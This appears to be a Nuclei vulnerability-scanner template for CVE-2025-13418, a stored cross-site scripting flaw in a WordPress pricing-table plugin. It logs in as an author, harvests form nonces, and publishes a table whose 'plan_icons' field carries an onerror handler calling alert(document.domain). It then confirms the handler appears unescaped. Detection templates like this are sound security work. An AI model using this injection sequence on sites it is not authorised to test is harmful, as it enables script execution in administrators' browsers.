id: CVE-2025-13418

info:
  name: Responsive Pricing Table <= 5.1.12 - Cross-Site Scripting
  author: Shivam Kamboj,Jay Jani
  severity: medium
  description: |
    The Responsive Pricing Table plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'plan_icons' parameter in all versions up to, and including, 5.1.12 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts that execute when an admin views the pricing table edit page.
  impact: |
    Authenticated authors can inject scripts that execute in users' browsers, potentially stealing data or performing actions on behalf of users.
  remediation: |
    Update the Responsive Pricing Table plugin to version 5.1.13 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/5d28fd23-fa86-4353-b1b4-af61192f8482
    - https://wordpress.org/plugins/dk-pricr-responsive-pricing-table/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-13418
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 6.4
    cve-id: CVE-2025-13418
    epss-score: 0.00598
    epss-percentile: 0.43904
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 5
    vendor: wpdarko
    product: responsive-pricing-table
    framework: wordpress
  tags: cve,cve2025,wordpress,wp,wp-plugin,xss,responsive-pricing-table,authenticated

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, 'wordpress_logged_in')
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/post-new.php?post_type=rpt_pricing_table HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'dmb_rpts_meta_box_nonce')"
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        name: wpnonce
        group: 1
        regex:
          - 'name="_wpnonce"[^>]*value="([^"]+)"'
        internal: true

      - type: regex
        part: body
        name: dmb_nonce
        group: 1
        regex:
          - 'name="dmb_rpts_meta_box_nonce"[^>]*value="([^"]+)"'
        internal: true

      - type: regex
        part: body
        name: post_id
        group: 1
        regex:
          - "id=['\"]post_ID['\"][^>]*value=['\"]([0-9]+)['\"]"
        internal: true

      - type: regex
        part: body
        name: meta_nonce
        group: 1
        regex:
          - 'name="meta-box-order-nonce"[^>]*value="([^"]+)"'
        internal: true

      - type: regex
        part: body
        name: closed_nonce
        group: 1
        regex:
          - 'name="closedpostboxesnonce"[^>]*value="([^"]+)"'
        internal: true

  - raw:
      - |
        POST /wp-admin/post.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _wpnonce={{wpnonce}}&_wp_http_referer=%2Fwp-admin%2Fpost-new.php%3Fpost_type%3Drpt_pricing_table&user_ID=1&action=editpost&originalaction=editpost&post_author=1&post_type=rpt_pricing_table&original_post_status=auto-draft&auto_draft=1&post_ID={{post_id}}&meta-box-order-nonce={{meta_nonce}}&closedpostboxesnonce={{closed_nonce}}&post_title=CVE-2025-13418+XSS+Test&hidden_post_status=draft&post_status=publish&visibility=public&publish=Publish&dmb_rpts_meta_box_nonce={{dmb_nonce}}&plan_titles%5B%5D=XSS+Test+Plan&plan_subtitles%5B%5D=&plan_recurrences%5B%5D=&plan_prices%5B%5D=99&plan_descriptions%5B%5D=&plan_features%5B%5D=Feature&plan_button_texts%5B%5D=Buy&plan_button_urls%5B%5D=&plan_custom_buttons%5B%5D=&plan_colors%5B%5D=%238dba09&are_recommended_plans%5B%5D=no&are_removed_currencies%5B%5D=no&plan_custom_classes%5B%5D=&plan_icons%5B%5D=x%27+onerror%3D%27alert%28document.domain%29%27+x%3D%27&table_currency=%24

    matchers:
      - type: dsl
        dsl:
          - "status_code == 302"
          - "contains(header, 'message=')"
        condition: and
        internal: true

    extractors:
      - type: regex
        part: header
        name: created_post_id
        group: 1
        regex:
          - 'post=([0-9]+)&action=edit'
        internal: true

  - raw:
      - |
        GET /wp-admin/post.php?post={{created_post_id}}&action=edit HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains(body, " onerror=&#039;alert(document.domain)&#039;")
          - contains(body, "dmb_icon_data_url")
          - status_code == 200
        condition: and
# digest: 4a0a00473045022062b4834fbbff3c3679eb7ad0aeadda499ca79a21a7136de5cb2a4318b284d9ef02210080182048451ce7bcf196800458ae3ea3a0c3450d56f014b9409e50af31046035:922c64590222798bb761d5b6d8e72950